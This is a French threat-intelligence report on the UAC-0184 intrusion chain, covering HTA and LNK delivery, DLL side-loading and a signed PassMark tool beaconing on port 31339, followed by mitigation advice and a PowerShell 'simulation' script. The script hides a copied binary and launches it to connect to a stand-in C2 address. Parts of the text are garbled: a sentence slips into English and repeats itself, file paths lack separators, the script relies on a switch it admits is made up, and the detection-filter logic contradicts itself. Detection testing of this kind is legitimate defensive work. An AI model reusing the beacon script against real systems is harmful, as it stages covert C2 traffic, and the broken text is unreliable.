UAC-0184 : De HTA à une pile réseau signée

Résumé

Le rapport décrit une intrusion en plusieurs étapes visant le personnel de défense ukrainien qui commence par des fichiers HTA malveillants livrés via bitsadmin et des raccourcis LNK. La charge utile est mise en scène à l’intérieur d’une archive ZIP, puis utilise le chargement de DLL avec des composants Plane9 et des méthodes de décodage personnalisées, y compris XOR et LZNT1, pour décompresser des outils signés tels que PassMark Endpoint, accompagnés d’une input.dll. L’activité réseau est déguisée par une découverte multicast UDP légitime sur le port 31339. Aucun serveur de commande et de contrôle externe statique n’a été identifié dans les échantillons analysés.

Enquête

L’analyse de la chaîne de livraison basée sur HTA a révélé bitsadmin des commandes qui ont téléchargé une archive ZIP contenant Cluster-Overlay64.exe et des fichiers DLL associés. L’ingénierie inverse a exposé une séquence de chargeur qui extrayait filter.bin and kernel-diag.lib, les décodait, puis chargeait evr.dll. La phase finale déposait VSLauncher.exe avec un PassMark signé, ce qui permettait la découverte multicast UDP et la communication TCP sur le port input.dll, which enabled UDP multicast discovery and TCP communication over port 31339. Les attaquants se sont appuyés sur des binaires signés et des signatures de code légitimes pour réduire la suspicion et éviter la détection.

Atténuation

Les défenseurs devraient bloquer l’exécution de mshta.exe et empêcher bitsadmin de télécharger du contenu provenant de sources non fiables. La surveillance devrait se concentrer sur les fichiers LNK contenant bitsadmin des lignes de commande et des noms de fichiers temporaires commençant par ~tmp. Les équipes de sécurité devraient également détecter le chargement suspect de DLL impliquant Plane9Engine.dll or openvr_api.dll. Des alertes devraient être configurées pour le trafic UDP et TCP sur le port 31339 de la part des hôtes qui n’utilisent normalement pas le logiciel PassMark. La liste d’autorisation des applications pour VSLauncher.exe et l’inspection pour des input.dll fichiers inattendus dans les chemins System32 or SysWOW64 sont également recommandées.

Réponse

Si une activité liée est détectée, isolez immédiatement le système affecté, collectez la mémoire volatile et les fichiers déposés, et effectuez une analyse forensic des utilitaires déployés. Chassez dans l’environnement d’autres hôtes présentant les mêmes artefacts LNK, les mêmes schémas de chargement de DLL ou le même comportement multicast UDP. Supprimez tous les fichiers malveillants, révoquez les certificats compromis le cas échéant, et réinitialisez les identifiants associés aux comptes affectés. Le contenu de détection devrait alors être mis à jour en utilisant les indicateurs extraits.

Exécution de Simulation

Prérequis : Le Contrôle Pré-vol de Télémetrie et de Référence doit avoir réussi.

Motif : Cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémetrie exacte attendue par la logique de détection. Les exemples abstraits ou non liés conduiront à un mauvais diagnostic.

• Narratif d’Attaque & Commandes :
  L’adversaire a obtenu une copie de PassMark BurnInTest.exe (un outil de benchmarking légitime) et le réoriente pour agir comme un client C2 discret. En invoquant le binaire avec des arguments personnalisés, il ouvre une connexion TCP au serveur contrôlé par l’attaquant sur le port 31339. Puisque le pare-feu journalise le nom de l’application (« PassMark BurnInTest »), la clause de filtre de la règle de détection (produit|contient : "PassMark BurnInTest") est niée, ce qui permet que le trafic soit signalé comme suspect. Les étapes sont :

  1. Copiez le binaire BurnInTest légitime vers un répertoire caché.
  2. Exécutez-le avec des arguments qui forcent une connexion réseau à l’IP C2 (par exemple, 192.0.2.55) sur le port 31339.
  3. Gardez le processus actif suffisamment longtemps pour que le pare-feu enregistre la connexion sortante.

• Script de Test de Régression :

  # -------------------------------------------------
  # Réorienter PassMark BurnInTest pour le trafic C2 discret
  # -------------------------------------------------
  $burnInPath = "$env:ProgramFilesPassMarkBurnInTest.exe"
  $hiddenDir   = "$env:ProgramData.temp"
  $c2IP        = "192.0.2.55"
  $c2Port      = 31339
  
  # 1. Assurez-vous que le répertoire caché existe
  if (-not (Test-Path $hiddenDir)) {
      New-Item -ItemType Directory -Path $hiddenDir -Force | Out-Null
      # Cachez le dossier
      (Get-Item $hiddenDir).Attributes += 'Hidden'
  }
  
  # 2. Copiez le binaire (en simulant une copie appartenant à un attaquant)
  $copiedExe = Join-Path $hiddenDir "BurnInTest.exe"
  Copy-Item -Path $burnInPath -Destination $copiedExe -Force
  
  # 3. Lancez le binaire pour créer une connexion TCP vers C2
  #    (Suppose que BurnInTest prend en charge un commutateur /net – c'est illustratif)
  $args = "/net $c2IP $c2Port"
  $proc = Start-Process -FilePath $copiedExe -ArgumentList $args -PassThru
  
  Write-Host "PassMark BurnInTest lancé (PID $($proc.Id)) – Le trafic C2 doit apparaître dans les journaux du pare-feu."
  # Gardez le processus actif pendant 30 secondes pour assurer l'enregistrement
  Start-Sleep -Seconds 30

• Commandes de Nettoyage :

  # -------------------------------------------------
  # Nettoyer après l'activité simulée de PassMark BurnInTest
  # -------------------------------------------------
  $hiddenDir = "$env:ProgramData.temp"
  
  # Arrêtez tout processus BurnInTest persistant
  Get-Process -Name "BurnInTest" -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Supprimez le répertoire caché et son contenu
  if (Test-Path $hiddenDir) {
      Remove-Item -Recurse -Force $hiddenDir
  }
  
  Write-Host "Nettoyage terminé – aucun binaire ou processus BurnInTest résiduel ne reste."